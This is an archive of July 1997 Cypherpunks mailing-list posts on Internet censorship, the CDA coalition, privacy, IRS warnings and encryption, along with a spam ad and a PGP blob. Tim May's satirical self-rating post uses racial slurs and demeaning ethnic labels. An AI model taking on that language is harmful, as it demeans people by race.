copyright lobbying. Or when the ACLU joins the Eagle Forum on crypto. Or
when the Cato Institute joins Ralph Nader on opposing the CDA.

These are issue-by-issue alliances, and everyone involved understands that
from the start. Perhaps we should have thought of the CDA alliance the
same way? Or perhaps the conflict arises because all groups would like to
claim the mantle of "representing the interests of the Net" -- which
brings with it some political currency here in Washington. And some might
say the tussle comes from long-standing personality conflicts.

Again, these are stream-of-consciousness thoughts, typed in while watching
that excerable new TV show "Roar." I haven't thought this through as much
as I'd like.

-Declan


On Mon, 21 Jul 1997, James S. Tyre wrote:

> The note below was sent to me privately earlier today.  I will respect
> the author's privacy by not revealing who s/he is, but y'all might take
> heed of what the author says.
> 
> I am familiar with the author from elsewhere, and many on f-c might well
> agree with the self-characterization (which, in this context, has
> nothing to do with Libertarianism, pro or con).







From whgiii at amaranth.com  Mon Jul 21 20:19:11 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 22 Jul 1997 11:19:11 +0800
Subject: Will Monolithic Apps Dominate?
In-Reply-To: 
Message-ID: <199707220222.VAA02243@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on 07/21/97 
   at 06:40 PM, Michael Stutz  said:

>   Because software development for I2O peripherals is forbidden for
>   nonmembers, the US$5,000 yearly membership dues will put individuals
>   and small organizations out of the game. Members themselves are not
>   permitted to disclose their source code, and Microsoft has veto power
>   to drop any organization from the SIG. This makes a grim scenario for
>   independent programmers.

Sounds like a text book example for a anti-trust lawsuit angainst
Microsoft, Intell & the I20 SIG.

I wonder what Watcom, Borland and a few of the other compiler manufactures
think about this.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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-----END PGP SIGNATURE-----






From jack at intmktgrp.com  Tue Jul 22 11:29:33 1997
From: jack at intmktgrp.com (jack at intmktgrp.com)
Date: Tue, 22 Jul 1997 11:29:33 -0700 (PDT)
Subject: CD Rom - Email List
Message-ID: <199707190025.GAA08056@intmktgrp.com>


25 Million Addresses On CD Rom - Only $199.00


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From jlumstoi at pacific.net.sg  Mon Jul 21 20:36:45 1997
From: jlumstoi at pacific.net.sg (Ng Pheng Siong)
Date: Tue, 22 Jul 1997 11:36:45 +0800
Subject: "How many times erased does DOD want?"
Message-ID: <199707220320.LAA00623@sagan.pacific.net.sg>



Hi,

I'm looking for the news posting with the subject line as above.
Poster David Hayes, comp.periphs.scsi, 24 July 91, message-id
1991Jul24.050701.16005 at sulaco.lonestar.org.

Got no luck with Dejanews, reference.com and Altavista.

The topic is data recovery from magnetic media. 
Also appreciate any pointers to info on same.

TIA. Cheers.

- PS
Ng Pheng Siong 







From tcmay at got.net  Mon Jul 21 21:15:50 1997
From: tcmay at got.net (Tim May)
Date: Tue, 22 Jul 1997 12:15:50 +0800
Subject: Fight-each-other
In-Reply-To: 
Message-ID: 



At 7:30 PM -0700 7/21/97, Declan McCullagh wrote:

>same way? Or perhaps the conflict arises because all groups would like to
>claim the mantle of "representing the interests of the Net" -- which
>brings with it some political currency here in Washington. And some might

Nope, not all groups would like to claim they are "representing the
interests of the Net." And not all individuals, either. I don't recall any
plausible consensus of the Cypherpunks claiming to represent the interests
of the Net.

I've never claimed to represent the interests of "the Net"--I just want
anyone who tries to tell me what to do in violation of the strict limits of
the Constitution (especially the Old Testament version, not the newfangled
New Testament that says I have to hire some percentage of coloreds, for
example) to _STOP_.

And I don't trust legislation. Only way to STOP them is to use
technological monkeywrenches. The stuff that should be well-known, even to
Washington burrowcrats.

And I'm not convinced the "alliance" against the CDA was terribly
important. Had the Eagle Forum, or whatever, and the CPSR, or whatever, not
been part of the suit, the ACLU lawyers would still likely have carried the
day. The Supremes may have been willing to look the other way on some major
constitutional issues the last several decades, but some things are just
too clear cut violations of the First, even for them.

(Similarly, I expect the "mandatory voluntary Net ratings" system to fail.
It's not even clear if television networks have to "voluntarily self-rate,"
as the NBC refusal is likely to ultimately show, and these are networks
ostensibly bound by FCC rules and the usual "scarce spectrum" arguments.
The Net is exactly like print, and there is no plausible argument for
demanding that all writers classify their writings according to some
government standard. (Lest this not be clear, suppose that my value system
argues that sex and profanity are necessary parts of a child's education,
so I voluntarily rate my writings as "suitable for children of all ages."
What then? And must I warn Muslims that my writings may be offensive to
them? And so on, for literally hundreds or more everyday examples. The
Supremes will strike this mandatory voluntary "Children's Protection and
Safe Surfing Act" down pronto. Whether or not a Grand Alliance is formed.)

By the way, I've attempted to comply with the spirit of Comrad Clinton's
ratings system. See below.

--Tim May


Voluntary Mandatory Self-Rating of this Article
(U.S. Statute 43-666-970719).
Warning: Failure to Correctly and Completely Label any Article or Utterance
is a Felony under the "Children's Internet Safety Act of 1997," punishable
by 6 months for the first offense, two years for each additional offense,
and a $100,000 fine per offense. Reminder: The PICS/RSACi label must itself
not contain material in violation of the Act.

** PICS/RSACi Voluntary Self-Rating (Text Form) ** :

Suitable for Children: yes  Age Rating: 5 years and up.
Suitable for Christians: No Suitable for Moslems: No  Hindus: Yes
Pacifists: No  Government Officials: No  Nihilists: Yes  Anarchists: Yes
Vegetarians: Yes  Vegans: No  Homosexuals: No  Atheists: Yes
Caucasoids: Yes  Negroids: No  Mongoloids: Yes
Bipolar Disorder: No  MPD: Yes and No  Attention Deficit Disorder:Huh?

--Contains discussions of sexuality, rebellion, anarchy, chaos,torture,
regicide, presicide, suicide, aptical foddering.
--Contains references hurtful to persons of poundage and people of
color.Sensitive persons are advised to skip this article.

**SUMMARY**
Estimated number of readers qualified to read this: 1
Composite Age Rating: 45 years







From frantz at netcom.com  Mon Jul 21 22:03:14 1997
From: frantz at netcom.com (Bill Frantz)
Date: Tue, 22 Jul 1997 13:03:14 +0800
Subject: Privacy: Law, Custom, and Technology
In-Reply-To: <199707211648.SAA11236@basement.replay.com>
Message-ID: 



As far as I can tell, law, custom, and technology are the three ways we
have to protect our privacy.  Cypherpunks are well aware of the
technological options, so I won't discuss them further except to note that
they probably are not, by themselves, enough.

Law has also been discussed, including the European privacy laws and
similar laws which have been proposed for the US.  One good thing about the
European mindset on privacy is that it seems to include resistance to legal
suppression of privacy technology.

The last is custom.  This approach appears in cypherpunk discussions as an
emphasis on contractual relations between people and the organizations
receiving data.  It is this area I would like to discuss.


What makes a good privacy contract?  What should you expect when you buy
something?  What is the standard contract?  What exceptions must be clearly
noted?  How does society decide these cultural issues?

I strongly believe in standard contracts because they greatly reduce
transaction costs.  Where the parties need different terms, they can
negotiate exceptions.  However, we do not have standard privacy contracts
which match our new communication and database technologies.  We don't even
have a good public debate on the issues involved.

Unfortunately, it seems that the only way to raise these issues to the
radar scope of the news media/public is to have some congresscritter
propose a law.  Even more unfortunately, said law usually preempts people's
right to contract with each other, rather than just setting a framework for
the contract negotiations.  There must be a better way.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From declan at well.com  Mon Jul 21 22:08:18 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 22 Jul 1997 13:08:18 +0800
Subject: The Real Revolution: Net Guerrillas, from The Netly News (fwd)
Message-ID: 





---------- Forwarded message ----------
Date: Mon, 21 Jul 1997 21:53:56 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship-announce at vorlon.mit.edu
Subject: The Real Revolution: Net Guerrillas, from The Netly News

------

http://cgi.pathfinder.com/netly/opinion/0,1042,1183,00.html

The Netly News Network (http://netlynews.com/)
July 21, 1997

The Real Revolution: Net Guerrillas
by Elizabeth Frantz
   
       The recent kidnapping and assassination of Spanish politician
   Miguel Angel Blanco by the Basque separatist group ETA has ignited a
   violent backlash that is spilling into cyberspace.

       In the wake of the widespread protest against ETA, the Spanish
   government requested last week that the Cable News Network (CNN)
   remove its link to the group's web site. Miguel Garzon, spokesman for
   the Spanish Embassy in Washington D.C., defended the move by saying
   the ETA should be considered terrorist and not separatist, and
   therefore links should not be made to them. The ETA has killed nearly
   800 people since it took up arms in 1968 to fight for independence for
   Spain's northern Basque provinces.

       CNN refused the Spanish government's request, saying that it was
   standard practice to provide links that relate to the subject matter
   -- even if the subject is terrorism. More and more terrorist groups
   are creating pockets of resistance online, a fact that is beginning to
   raise serious questions, especially for educational institutions,
   where John Q. Taxpayer might be indirectly paying for a Zapatista web
   site.

[...]








From apache at gargoyle.apana.org.au  Mon Jul 21 22:13:04 1997
From: apache at gargoyle.apana.org.au (apache at gargoyle.apana.org.au)
Date: Tue, 22 Jul 1997 13:13:04 +0800
Subject: Australia to Censor the Net
Message-ID: <199707220504.PAA17769@gargoyle.apana.org.au>



Electronic Frontiers Australia Inc.        

                    Media Release                  July 20th 1997

GOVT INTERNET PROPOSALS -- THREAT TO FREE SPEECH; BURDEN ON ISPS 

Online civil liberties group Electronic Frontiers Australia has warned
that the proposals for Internet regulation released this week by the
Minister for Communications and the Arts, Senator Alston, and the
Attorney-General, Mr Williams, would threaten free speech and place an
impossible burden on Internet service providers.

EFA Chair Kimberley Heitman said the Government had done well to avoid
the totalitarian censorship recommendations of the Senate Select
Committee in its June 1997 report.  However the proposals were still
"an unnecessary intrusion by Big Brother".

There are several problems with the suggested principles for
legislation.

The principles make Internet Service Providers (ISPs) responsible for
content created and published by others.  "It is quite simple.", said
Mr Heitman. "Content providers should be responsible for content.  The
whole concept of making service providers responsible for content is
bizarre. It is as senseless as making paper-makers responsible for
books published using their paper".

The principles require ISPs to make judgements about how material
published by their users would be classified by the Office of Film and
Literature Classification.  "The recent Rabelais case in the Federal
Court illustrates the complexity of the OFLC classification system",
said Mr Heitman.  "But now ISPs, whose skills are primarily technical,
are expected to enter the legal minefield of censorship
classification. This is an extraordinary burden which can only result
in perfectly legal material being removed 'just in case'."

The principles do not explain how jurisdictional issues resulting from
States passing their own censorship laws would be resolved. 
"Requiring ISPs to take into account whether material would 'otherwise
be illegal under a State or Territory law' could be a total nightmare,
especially for national service providers", commented Mr Heitman. "It
would effectively allow individual States to impose their values on
the entire country".

The principles fail to take into account that clearly objectionable
material such as child pornography is already illegal under existing
law, or that the vast bulk of "adult" material is sourced from outside
Australia.  "The Clinton administration in the USA has just abandoned
attempts to regulate the Internet - yet Australia seems to be trying
to do the impossible all by itself", said Mr Heitman.

There is still no evidence that there is any problem for which
legislation of this kind is the solution.  User education and
community awareness are important, but these can not usefully be
compelled by legislation.

ENDS

      --------------------------------------------------------------
      Electronic Frontiers Australia Inc  --  http://www.efa.org.au/
      representing Internet users concerned with on-line freedoms
      --------------------------------------------------------------
      Media Contacts

      Kimberley Heitman
      Phone: +61 8 9458 2790
      Email: kheitman at it.com.au

      Danny Yee
      Phone (home): +61 2 9955 9898
      Phone (work): +61 2 9351 5159
      Email: danny.yee at efa.org.au
      --------------------------------------------------------------

BACKGROUND

DCA principles:
 http://www.dca.gov.au/policy/fwork_4_online_svces/framework.htm

EXERPT:
[snip]
PRINCIPLES FOR A REGULATORY FRAMEWORK FOR ON-LINE SERVICES IN THE
BROADCASTING SERVICES ACT 1992

1. The Broadcasting Services Act 1992 (BSA) should be amended to
establish a national framework of effective industry self-regulation
for on-line service providers, supervised by the Australian
Broadcasting Authority (ABA), in relation to content transmitted
through on-line networks.

Objectives

2. The regulatory regime should aim to : 

(a) encourage on-line service providers to respect community standards
in relation to material published by means of their service; and

(b) encourage the provision of means for addressing complaints about
content published by means of an on-line services; and

(c) ensure that on-line service providers place a high priority on the
protection of minors from exposure to material which may be harmful to
them.

3. The legislation should encourage the development of self-regulatory
mechanisms and in particular avoid inhibiting the growth and
development of the on-line services industry by placing unreasonable
regulatory constraints on the on-line services provider industry
regarding the publication and transmission of material.

4. The legislation should codify the responsibilities of an on-line
service provider in relation to objectionable content and other
content that is of concern to the community accessed by means of the
on-line service provider's network.
[snip]
-- 
   .////.   .//    Charles Senescall             apache at quux.apana.org.au
 o:::::::::///     apache at bear.apana.org.au  apache at gargoyle.apana.org.au
>::::::::::\\\     Finger me for PGP PUBKEY            Brisbane AUSTRALIA
   '\\\\\'   \\    Apache






From nobody at REPLAY.COM  Mon Jul 21 22:43:33 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 22 Jul 1997 13:43:33 +0800
Subject: No Subject
Message-ID: <199707220526.HAA13114@basement.replay.com>



Hey, has anyone taken a look at this file on RSA's ftp?
ftp://ftp.rsa.com/pub/smail/smailbeta10.zip
It is encrypted using only the zip cypher, as far as I can tell. There is a known plaintext attack against this cypher by Biham and Kocher. There are files compressed and encrypted in the archive that are freely available online. A known plaintext attack would seem easy but the files are compressed with a version 5.0 for NT. Is the encryption algorithm in this product different (more secure) than in other versions? Is it a good idea for RSA to distribute their software like this? Would it be legal to export (intentionally or not) files while encrypted and seemingly unusable if the algorithm used to encrypt could be easily broken?

Cheers!

--Anonymous










From ravage at ssz.com  Mon Jul 21 23:05:44 1997
From: ravage at ssz.com (Jim Choate)
Date: Tue, 22 Jul 1997 14:05:44 +0800
Subject: Controversial Technology (fwd)
Message-ID: <199707220550.AAA13344@einstein.ssz.com>



Forwarded message:

> Date: Mon, 21 Jul 1997 21:48:45 -0700 (PDT)
> From: William Beaty 
> Subject: Re: Controversial Technology

> > I would however like to point out that security through obscurity (ie
> > ignorance) is not security. It is self-delusion. One can not protect them
> > selves reliably from the many consequences of technology and society via
> > ignorance. That which you don't know not only can hurt you but can kill you.
> 
> I don't understand.  You hate unix security, and the solution is to
> screw up as many systems as possible?  That's like hating cars that lack
> armored glass, and going out to smash windshields every night. 
> Destructive acts say much more about those who perform them than they do
> about any weakness of the victims.

No, I hate unix security and it behooves me to know as much about it as
possible so that I may be better informed about its limitations and protect
myself and my property from those out there who hate unix security and plan
on using it to get something from me without my prior permission.

So studying the dynamics of auto glass breaking is equivalent to automotive
vandalism? I bet auto engineers might just object to that generalization.

If I own the car it might be in my best interest to know something about
auto glass to decide whether what I have is enough or should I really buy
that nifty keen security system. Calling the cops and asking them how most
cars get broken into does not lead to the conclusion that I am going to
break into cars.

"A>B" is not equivalent to "B>A".

Discussion toward understanding something is not the same as doing it. If it
were we would all be rapists and murders. 

> What exactly does computer security have to do with amateur science?

Computer science isn't an amateur science? I have to strongly disagree and I
suspect that most computer hobbyist would as well.

I don't know about you but I use my computer for science (and sometimes
it's hooked up to other computers via the net) and therefore find it useful
to understand how they work. Both for when I want to get them to do
something specific as well as when trying to figure out why the silly thing
don't work the way it is supposed to.

This list supports the use of computers as well as the study of them as
analytical instruments or as objects of research themselves. The study of
virus development is as valuable as the discussion of compiler design.

> This brings up an interesting question about your overall philosophy: what
> are your views on discussion of plans for bombs, weapons, poisons, etc. on
> tesla list?

I will attach the info file at the end so that you may review the general
views of the list as well as some of my own.

I have no objection to the discussion of such issues provided they are
within the charter of the list. In short, discussions about how they work,
how to measure various parameters (eg briance and explosives), the history
of the technology, etc. Obviously you can't discuss how to measure the
effectiveness of a poison, for example, if you can't first define what a
poison is and how it works (otherwise how do you know what to measure?).
So if somebody, for example, wanted to discuss how curari works toward the
end of better understanding the human body and the measurement of its
various processes there would be no objection. If you want to propose going
out and actualy killing somebody, then I have a problem.

> If you're all for 'em, then this is an adults-only list and I
> need to remove my site info about tesla at ssz.  The big kids can play all
> they want, but I won't steer the little kids directly to the dangerous
> stuff if I can help it.

Knowledge is danger, leave them barefoot and pregnant...

Do what you want, but this list is not rated and irrespective of your
opinion I will continue to refuse to rate any services from SSZ.

Please, don't send them to somebody who has a clue about it and can direct
them to creative uses for that interest (ie visit the Polic Bomb Squad and
perhaps try to get them to support some sort of activity with the kids),
instead let them figure it out with their friends in the garage over a long
weekend. If we're lucky one of them will survive.

Would you do me a favor and auto-program the phone for 911...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|

(Please excuse the fact that I haven't updated all the .info files to
 reflect the changes going on here at TAG)

Welcome to the Experimental Science Instrumentation mailing list. This list
is hosted by CyberTects in Austin, Tx. If you have questions or problems
please send email to 'list at ssz.com'. You should receive a responce shortly
afterward.

There is a place for a webpage on the SSZ homepage. However, currently
nobody is involved in any sort of project. If interested please send a note
to the list. To see what else is up at CyberTects look at
http://www.ssz.com/. It ain't much, but it is home...;)

This mailing list is intended for the rigorous exploration of nature. One of
the primary areas of experimentation is instrumentation and data reduction.
This list is intended as a resource for the advancement of knowledge in both
areas. As a consequence off-topic discussions are STRONGLY avoided.

This list is NOT intended for beginners. They are certainly welcome but are
expected to stay out of discussions they are not experienced in. General
questions are welcome from any party on relevant issues. We strongly believe
the novice experimenter should be helped. Discussions at all levels are
available. It is not acceptable behaviour to expound on personalities or
other 'flame bait' topics.

Sale and advertisment of services are permitted with due consideration of
the other members of the list. Each 'ad' should appear ONLY ONCE per
calendar year. The 'ad' MUST be relevant to the mailing list members and its
charter topic. All responces should be by direct email.

As a member of this list it is expected you pursue active experiments or
projects. We would very much like to hear about what you are up to and where
you are taking it. A working knowledge of diff-eq's, computer programming,
basic electronics (analog & digital), physics, chemistry, safety
proceedures, etc. is assumed for most discussions.

The person behind the email is Jim Choate. I would like to tell you a little
about myself and provide some insight into the mailing list.

This list is NOT for the exploration of pseudo-science, space aliens, etc.
I named the list after Nikola Tesla because I admire his accomplishments and
his strong indipendant nature.

I have been building 'projects' since I was a kid of 8-9, I am now 37. For
seven years I built projects at Discovery Hall, a hands-on science museum in
Austin, Tx. I am currently working on a hexapod robot and a high-performance
rocket. I am currently a computer engineer for Tivoli - IBM as well as run my
own business, CyberTects. In both cases I play with what I lovingly refer to
as the 'bleeding edge'. Through CyberTects I support several hands-on
technology mailing lists and two user groups.

I started the list a couple of years ago with the intent of finding others
who like to build 'professional' quality projects. Since that time it has
grown slowly but steadily by word of mouth. The folks who participate in the
mailing list are truely an impressive lot. Don't feel hesitant about
starting a dialogue. Historicaly the list has been very low traffic. The
majority of traffic is cross-posts from other sources. I would really like
to see more discussion about current projects.


             "Reality is observer dependant"
                              \
                                \   \\/////
                                    |     | 
                                    (.) (.)
      ===========================oOO==(_)==OOo==========================             

                                  James Choate

         Tivoli                                 CyberTects: SSZ
         Customer Support Engineer              SOHO-VR-HPR-Robotics

         9442 Capitol of Texas Highway North    4312 Avenue A
         Suite 500
         Austin, TX 78759                       Austin, TX  78751

         Email: jchoate at tivoli.com              Email: ravage at ssz.com
         Phone: (512) 436-8893                  Phone: (512) 451-7087
         Fax:   (512) 345-2784                  Fax: n/a
         WWW:   www.tivoli.com                  WWW: www.ssz.com
         Modem: n/a                             Modem: (512) 451-7009
         Pager: n/a                             Pager: n/a
         Cellular: n/a                          Cellular: n/a

      ===================================================================

         Political ideal: The Constitution says "Congress shall make no
         law..." & What happened to the 9th & 10th Amendments?

         Philosophy: Pantheism - the belief that everything is divine,
                                 that God is not seperate but totaly
                                 identified with the cosmos, and that
                                 God does not possess personality or
                                 transcendence.

      ===================================================================

         The end of our exploring will be to arrive at where we
         started, and to know the place for the first time.

                                                T.S. Eliot

      ===================================================================

                         Chance favors the prepared mind.

                                                Anon.

      ===================================================================






From barrons at LISTSERV.DOWJONES.COM  Tue Jul 22 16:21:43 1997
From: barrons at LISTSERV.DOWJONES.COM (Barrons Online)
Date: Tue, 22 Jul 1997 16:21:43 -0700 (PDT)
Subject: Important Announcement for Barron's Online Subscribers
Message-ID: 


Dear Barron's Online subscriber:

By now we hope you've heard about the changes coming to Barron's Online
later this week. This is a final reminder that, effective Friday, July 25,
Barron's Online will be available only to subscribers to The Wall Street
Journal Interactive Edition. (If you've already signed up for the
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If you don't already subscribe to the Interactive Journal and wish to
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Even if you don't take advantage of this special offer, you can sign up at
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We believe that the combined efforts of the Interactive Journal and
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The Wall Street Journal Interactive Edition

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From jbaber at mi.leeds.ac.uk  Tue Jul 22 02:06:52 1997
From: jbaber at mi.leeds.ac.uk (jbaber at mi.leeds.ac.uk)
Date: Tue, 22 Jul 1997 17:06:52 +0800
Subject: House Tries to Liberate ICs
Message-ID: <9927.9707220856@misun2.mi.leeds.ac.uk>



Duncan Frissell writes:
> Notice how the following article does not mention the fact that ICs sometimes 
> neglect to send those quarterly tax payments in on time and this is why the 
> Feds dislike them.  It's not going to happen, but it would be fun if it 
> did...

The same thing is happening over here. Buisness is pushing for independant
contractors (and also heading more and more towards bonuses) whereas the
government (particually in the building industry) has changed from encouraging
this to making it harder and harder to qualify because they have just realised
that they are missing out on a great deal of tax because Employers do not have
to make National Insurance contributions for contractors and the contractors
themselves tend to pay a lot less.

Jon 






From slender at icx.net  Tue Jul 22 02:17:46 1997
From: slender at icx.net (eddie)
Date: Tue, 22 Jul 1997 17:17:46 +0800
Subject: reminder service
Message-ID: <18161.235633.20658206 cypherpunks@toad.com>



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From amp at pobox.com  Tue Jul 22 02:34:19 1997
From: amp at pobox.com (amp at pobox.com)
Date: Tue, 22 Jul 1997 17:34:19 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: 
Message-ID: 



I've emailed him directly, both on the net, and on fidonet before he found his way 
here. I didn't get it. Kinda suprised at that actually, and a bit disappointed.

Think if I send the scum who sent the note to everyone, it would recosider putting me 
on it's "enemies list"?

amp 



------------------------
  From: Paul Bradley 
  Subject: Re: IRS sending warning notes, violating ECPA? 
  Date: Sat, 19 Jul 1997 19:12:35 +0000 ( ) 
  To: Tim May 
  Cc: cypherpunks at algebra.com


> 
> > It certainly appears that the IRS has sent "warnings" out to all of us
> > active in the debate. It appears they used the addresses found in e-mail at
> > Bell's residence, from some of the comments here (especially that other
> > lists besides the Cypherpunks list were involved).
> 
> 
> Does anyone here who didn`t recieve a copy of the mail recall if they 
> ever mailed Jim directly, and not through the list?
> 
> The way I see it there are two possible ways the motherfuckers got the 
> addresses, either they found the lists Jim subscribed to and did "who 
> cypherpunks" etc. to the servers, to get the list of participants, or 
> they used any adresses off the mail jim has recieved in the past, I got a 
> copy of it and I have privately emailed Jim several times so I can`t 
> really say which is more likely.
> 
> If it is the second I am hereby giving Jim a public dresssing down for 
> not encrypting the filesystem ;-)....
> 
> > "Mr. Bell, if you confess and plead guilty, you'll receive a one-year
> > prison term. If you don't confess, when we find you guilty you'll receive
> > the maximum term. If you confess but Mr. May _also_ confesses, you'll still
> > receive the maximum term. If neither of you confesses, you'll still be
> > found guilty. So, what'll it be?"
> 
> The sending of this email to people Jim has communicated with, if it was 
> a real mail (I haven`t checked before but other people have and have said 
> the headers indicate it passed through several .gov hosts), constitutes 
> cowardly harrasment. Lock and Load.
> 
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul at fatmans.demon.co.uk
>   Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"
> 
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp at pobox.com
Date: 07/22/97
Time: 04:12:56
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------






From hackwort at hotmail.com  Tue Jul 22 04:27:06 1997
From: hackwort at hotmail.com (John Hackworth)
Date: Tue, 22 Jul 1997 19:27:06 +0800
Subject: encrypted for lucky green
Message-ID: <199707221111.EAA22492@f24.hotmail.com>



sorry to intrude

-----BEGIN PGP MESSAGE-----
Version: 2.6.2i

hIwDBJCR6bfyvAUBA/4gtVCv8eZJPK0Kw3km//vCXMaAToMX1T5HZJMj4ubAZN3m
DV8Xy6Mwn1Fd4W3bMQk/qRhwEKymUeYp+Xv4Pm04K2b5QpG415hHH1rHqeyE3rS2
Qgdchh6ZnB7C++7EFftjiwPxdx7zluZJEKEbNq1zOtgR6LBykr3hStcuy8HSeqYA
AAD6/IPdSZImU4/bzwxs0IoLeQzI5RN6zAAcfbBDk+pgMRh67MajikmhiM7dMjV+
avrv1WgCu5PPEwdaHORW9ZFBVBRc5NaucecIuu/3/wbWTBQ6VX1jBe0Pj7ki+3cB
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KRoNhS3CMuxdwZZPH9K7PK1MIAoFZVj6acnqbJTryzbT4I1U4qcOPQqrNravnddw
lpU81KhQeYtAQuSVSyyjUov6Byh9aHw125ST+6T2AneJzWk2IzNpH0QHxw+qJgvG
RMpVPpsv5c4m1DibHQ==
=yWl2

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com






From osborne at gateway.grumman.com  Tue Jul 22 07:34:08 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Tue, 22 Jul 1997 22:34:08 +0800
Subject: This is not ROT13, it's German.
Message-ID: <3.0.1.32.19970722102400.00a16490@gateway.grumman.com>



Forwarded from 0xdeadbeef.

---------- Begin Snip

Forwarded-by: Lloyd Wood 
Newsgroups: talk.bizarre,de.talk.bizarre

> [Moderator's note: The text here is not ROT13 encrypted. It is
> German.]

Well, thanks for making that clear. Which is the stronger encryption?
ROT13 or German? Is German allowed to be exported from the US?
I can get my newsreader to turn ROT13 into English. How do I get it to
turn German into English?

From: "Michael Briel" 
Newsgroups: alt.humor.best-of-usenet
Subject: [de.talk.bizarre] ZU VERKAUFEN
Message-ID: 

[Moderator's note: The text here is not ROT13 encrypted. It is German.]

Subject: ZU VERKAUFEN
From: Flavio Spirgi 
Newsgroups: de.talk.bizarre

 VERKAUFE

 rasenm=E4her

 ausgezeichneter zustand, nur kleines leck an einem der 4
 hochleistungsreaktoren. der rasenm=E4her verf=FCgt =FCber vierzehn hochwer=
tige
 turbinen, die im notfall auch einen betrieb =FCber die wasserleitung
 zulassen. die schneidevorrichtung besteht aus vier nichtrostenden
 klingen aus hochwertigem spezialstahl mit holzeinlagen, die je 15 m lang
 sind. krankheitshalber abzugeben.

--
Moderators accept or reject articles based solely on the criteria posted
in the Frequently Asked Questions. Article content is the responsibility
of the submitter.  Submit articles to ahbou-sub at acpub.duke.edu. To write
to the moderators, send mail to ahbou-mod at acpub.duke.edu.

---------- End Snip
-- Rick Osborne, 
This is a castle. And we have many tapestries. And if you are a Scottish
Lord then I am Mickey Mouse.






From nobody at toad.com  Tue Jul 22 08:26:02 1997
From: nobody at toad.com (Mismatched NFS IDs)
Date: Tue, 22 Jul 1997 23:26:02 +0800
Subject: Fight-each-other
In-Reply-To: 
Message-ID: <97Jul22.110332edt.32258@brickwall.ceddec.com>



On Mon, 21 Jul 1997, Declan McCullagh wrote:

> Maybe it was naive to think that the anti-CDA coalition would hang
> together after the Supreme Court decision. After all, the current fault
> lines are split along some of the same divisions that existed for a year
> and a half in two lawsuits: the one organized by the ACLU and the one
> organized by CIEC. I've heard some say that the current dispute was
> inevitable. 
> 
> Or, think of it this way: when privacy groups ally with the religious
> right on database legislation, they don't expect their alliance to last
> forever. Or when librarians join with Sony, Bell Atlantic, and Sun on
> copyright lobbying. Or when the ACLU joins the Eagle Forum on crypto. Or
> when the Cato Institute joins Ralph Nader on opposing the CDA.
> 
> These are issue-by-issue alliances, and everyone involved understands that
> from the start. Perhaps we should have thought of the CDA alliance the
> same way? Or perhaps the conflict arises because all groups would like to
> claim the mantle of "representing the interests of the Net" -- which
> brings with it some political currency here in Washington. And some might
> say the tussle comes from long-standing personality conflicts.

I think something more is going on, at least with the "conserative
movement", but I also watch National Empowerment Television :).

Grover Norquist has coined the term "The Leave-us-alone Coalition" that
simply wants the government out of everything they have no constitutional
authority to be in.  They perceive government as an intrinsic evil and the
only thing that should be done is to slay the dragon.  I would number
Eagle Forum and the Progress and Freedom Foundation in this group.

The other side (e.g. Concerned Women For America) wants to "tame" or turn
the dragon and assume they can make the power to kill and imprison work
for good when they are in control, and will even let Bill & Hillary run
things if they "will only save our kids from cyberporn".

The first group are deserting the Republican party as such in droves (look
for a Libertarian party pickup if the party avoids being too libertine). 
The Republican coalition is based on shrinking the power and cost of
government and the people they have proved to be ineffective or even
against shrinking government in practice.  Principled losses would be
welcomed over compromised victories, but even worse, they stand on
principle for two weeks, and when it looks like they are about to win, but
are getting a media barrage only inside the beltway, they cave in
suffering all the scars of battle without anything to show for it.  The
next (1998) election should be interesting. 

The CDA brought the differences into clear view.  I usually ask if they
would like Joycelyn Elders to decide what gets censored (Who do they think
Bill & Hillary would appoint?), or if the same courts that they say can't
tell up from down in their judicial abuse alerts will be able to decide on
whether an anti-abortion site is "indecent".

What I cannot understand is why people who spend a great deal of their
content cataloging abuses from all branches of government and otherwise
say it is too intrusive believe that in the instance of net censorship
that it will suddenly turn into a wise and beatific force when every other
bit of evidence would indicate otherwise. 

--- reply to tzeruch - at - ceddec - dot - com ---






From dlv at bwalk.dm.com  Tue Jul 22 08:37:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 22 Jul 1997 23:37:45 +0800
Subject: The Real Revolution: Net Guerrillas, from The Netly News (fwd)
In-Reply-To: 
Message-ID: <9FZ90D2w165w@bwalk.dm.com>



Declan McCullagh  writes:
> ---------- Forwarded message ----------
> Date: Mon, 21 Jul 1997 21:53:56 -0700 (PDT)
> From: Declan McCullagh 
> To: fight-censorship-announce at vorlon.mit.edu
> Subject: The Real Revolution: Net Guerrillas, from The Netly News
> 

Her Declan, you want a story idea - look into the (verylarge) role
various Internet mailing lists played in organizing the invasion of Zaire.

---

Dr.Dimitri Vulis KOTM
